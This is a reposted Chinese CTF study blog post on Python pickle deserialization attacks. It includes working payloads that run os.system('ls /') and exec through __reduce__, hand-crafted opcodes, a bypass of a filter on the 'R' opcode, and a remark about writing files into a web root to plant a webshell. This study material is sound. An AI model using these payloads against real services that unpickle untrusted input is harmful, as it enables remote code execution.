-----已搬运-------【!总章程!】python反序列化入门学习

目录:

    • 1.利用__reduce__方法来RCE
        • 代码分析 + 实例熟悉
        • 更换指令执行RCE
        • 读写文件
        • 变量覆盖
        • 更换模块名可以执行
        • 有了__reduce__之后,正常反序列化代码消失??
      • 重磅: 如何手写opcode?
        • 阅读一段最简单的代码:
    • 2.当禁止使用reduce的时候,也就是过滤了 R 的时候
      • 1.全局变量包含:c指令码的妙用
    • 3.绕过c指令的module限制:先读入,再篡改,
    • 4.不用reduce,也能RCE
    • 5.回到这个题上面去了,实践一下

知识来源哦哦:

最最最底层的分析:来自知乎专栏的,也是炅哥推荐的文章

GitHub上的 opcode 指令的含义:

这个挺好,先知社区讲的,由书写和阅读opcode码的相对来说比较详细的讲解,有gif图片教学,好得很

这个是P牛讲的,中间靠后那一段,学了不少,熟练opcode就从这学的

这是一个个人网站的,没看,因该写的不错吧,记录下来了

要手写的话,看这个https://blog.csdn.net/Zero_Adam/article/details/114535044是p0写的,下面是p3写的,不方便看,

1.利用__reduce__方法来RCE

代码分析 + 实例熟悉

最最基本的别忘了,,
-----已搬运-------【!总章程!】python反序列化入门学习_第1张图片

python反序列化----本地测试 -----踩坑注意点! 这个夭折了,可以看看那些nb的【附件。。。】

生成二进制码,并且利用 逆向分析工具

# see the nomal Student
payload = pickle.dumps(Student('rxz','G2'))
payload = pickletools.optimize(payload)
print(payload)
pickletools.dis(payload)

这段代码就是练习python反序列化的例子,

import pickle
import os
import pickletools
import base64
class Student():
    def __init__(self,name,grade):
        self.name = name
        self.grade = grade
    def __eq__(self, other):
        return type(other) is Student and \
        self.name == other.name and\
        self.grade == other.grade

"""
# see the nomal Student
payload = pickle.dumps(Student('rxz','G2'))
payload = pickletools.optimize(payload)
print(payload)
pickletools.dis(payload)
"""

res = pickle.loads(b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzX\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2ub.')
print(res)


这是正常的 Student 的反序列化的 二进制码

b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzX\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2ub.'

在这里插入图片描述

这个是 带有reduce的 student类

reduce实现如下:

    def __reduce__(self):
        return (os.system,('ls /',))

这是生成的二进制码

b'\x80\x03cposix\nsystem\nX\x04\x00\x00\x00ls /\x85R.'

-----已搬运-------【!总章程!】python反序列化入门学习_第2张图片至于为什么 反序列化 时候,用__reduce__方法就能够执行呢。这个知乎的那篇文章已经讲的很清楚了,这里我只是自己输出一遍,看看自己理解的怎么样:

reduce呢,就是 两个参数,前面一个参数是方法,后面一个参数是一个字符串或者是元组,我们选择元组作为他的参数,也就是前面的那个方法的参数,这样就能够执行这个 方法了

而我们 学习那篇文章,又能知道 在反序列化时, R 操作符,会弹出栈顶两次,假设先弹出a,后后弹出b,那么就会执行b.a这样的方法,刚好和reduce方法一致,

这里我们看一下上面的 恶意的二进制的反序列化字符串:

res = pickle.loads(b'\x80\x03cposix\nsystem\nX\x04\x00\x00\x00ls /\x85R.')

c字符,__posix__.system压入栈,然后 字符串ls /入栈,然后执行 R 指令。
ls /出栈,__posix__.system出栈。执行__posix__.system(ls /)的命令,就执行了RCE了。

这是我牵强附会写的,肯定不对,只是为了顺畅分析而已,还是要看那个知乎文章去。

更换指令执行RCE

然后我们就可以修改任意指令了:
-----已搬运-------【!总章程!】python反序列化入门学习_第3张图片

读写文件

-----已搬运-------【!总章程!】python反序列化入门学习_第4张图片
这样会在当前py文件目录中生成poc.txt文件,如果这个py文件在网站跟目录里面的话,就可以连接木马了
-----已搬运-------【!总章程!】python反序列化入门学习_第5张图片

变量覆盖

-----已搬运-------【!总章程!】python反序列化入门学习_第6张图片
这个是正常运行reduce方法产生的序列化字符串,然后贴进去就行了

b"\x80\x03cbuiltins\nexec\nq\x00X\x17\x00\x00\x00key1=b'999'\nkey2=b'666'q\x01\x85q\x02Rq\x03."
更换模块名可以执行

-----已搬运-------【!总章程!】python反序列化入门学习_第7张图片
之前是那个什么 posix

有了__reduce__之后,正常反序列化代码消失??

这是正常的 反序列化字符串

b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzX\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2ub.'

这是带有 __reduce__的反序列化字符串

res = pickle.loads(b'\x80\x03cposix\nsystem\nX\x04\x00\x00\x00ls /\x85R.')

可见,很多反序列化的信息都没有了啊,,,
没查出些什么来,就是说python会在序列化的时候调用 reduce 。。

重磅: 如何手写opcode?

-----已搬运-------【!总章程!】python反序列化入门学习_第8张图片

阅读一段最简单的代码:

-----已搬运-------【!总章程!】python反序列化入门学习_第9张图片
我的猜测是正确的,\x85,\x86,\x87不仅仅是压入一个空元组,而是把相应个数的栈顶元素放入这个元组中,然后将这个非空元组压入栈顶。

见下图:
-----已搬运-------【!总章程!】python反序列化入门学习_第10张图片

-----已搬运-------【!总章程!】python反序列化入门学习_第11张图片

2.当禁止使用reduce的时候,也就是过滤了 R 的时候

1.全局变量包含:c指令码的妙用

-----已搬运-------【!总章程!】python反序列化入门学习_第12张图片

我们先获取一个正常的 序列化 字符串

b'\x80\x03c__main__\nStudent\n)\x81}(X\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzub.'

然后 用c 指令来进行绕过

这个是用c给代替了的,能够正常反序列化出来Student实例

b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00namecblue\nname\nX\x05\x00\x00\x00gradecblue\ngrade\nub.'

这里用的就是 c 来代替 。从而该改变了 内部的信息
-----已搬运-------【!总章程!】python反序列化入门学习_第13张图片

我改了改,改成这个样子了

bb.py

# -*- coding: UTF-8 -*-

import pickle
import os
import pickletools
import base64
class Student():

    def __init__(self,name,grade):
        self.name = name
        self.grade = grade

    def __eq__(self, other):
        return type(other) is Student and \
        self.name == other.name and\
        self.grade == other.grade

"""
# see the nomal Student
payload = pickle.dumps(Student('rxz','G2'))
payload = pickletools.optimize(payload)
print(payload)
pickletools.dis(payload)

"""
import blue
def check(data):
    if b'R' in data:
        print ('no reduce!')
    x = pickle.loads(data) #  unserializtion

    if(x != Student(blue.name,blue.grade)):
        print('not equal >_<')
    print('wel dome')

# check 里面写我们构造的 恶意的反序列话的 二进制的字符串
check(b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00namecblue\nname\nX\x05\x00\x00\x00gradecblue\ngrade\nub.')


blue.py

name = 'QAQ'
grade = 'G666'

这里用的就是 c 来代替
-----已搬运-------【!总章程!】python反序列化入门学习_第14张图片

3.绕过c指令的module限制:先读入,再篡改,

-----已搬运-------【!总章程!】python反序列化入门学习_第15张图片

先看一下正常的 序列化什么样子

-----已搬运-------【!总章程!】python反序列化入门学习_第16张图片
这个是正常的 反序列化的字符串

b'\x80\x03c__main__\nStudent\n)\x81}(X\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzub.'

然后尝试和上面的一样,引入 blue 中的那些

这里!!!!!!!!!
修改的这里,我应该是要会手写进去的,而不是会复制粘贴进去

修改成这样:然后放进去,就好了

b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00namecblue\nname\nX\x05\x00\x00\x00gradecblue\ngrade\nub.'

在这里插入图片描述
-----已搬运-------【!总章程!】python反序列化入门学习_第17张图片
同时成功修改了 name和grade。

贴一下代码把:
没有留备份代码

# -*- coding: UTF-8 -*-

import pickle
import os
import pickletools
import base64

class Student():
    def __init__(self,name,grade):
        self.name = 'rxz'
        self.grade='G2'

"""
# see the nomal Student
payload = pickle.dumps(Student('rxz','G2'))
payload = pickletools.optimize(payload)
print(payload)
pickletools.dis(payload)

"""


import blue
def check(data):
    if b'R' in data:
        print ('no reduce!')
        exit()
    x = pickle.loads(data) #  unserializtion

    if(x != Student(blue.name,blue.grade)):
        print('not equal >_<')
        exit()
    print('wel dome')
    exit()


s=b'\x80\x03c__main__\nblue\n}(Vname\nVrua\nVgrade\nVwww\nub0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.'
s = pickletools.optimize(s)

pickletools.dis(s)
print(s)


res = pickle.loads(s)
print(res.name,res.grade)

4.不用reduce,也能RCE

这个我将P牛的文章 细细分析了一波,可以看一看。

基本功的第四点:【!牛逼!附件】python反序列化 例题学习 +++ 基本功:手挫OPCODE代码 !!: &&本地复现环境&& 详细解释 P牛 的那个 builtins 绕过沙盒的RCE

5.回到这个题上面去了,实践一下

-----已搬运-------【!总章程!】python反序列化入门学习_第18张图片

你可能感兴趣的:(python反序列化,python,python反序列化,ctf)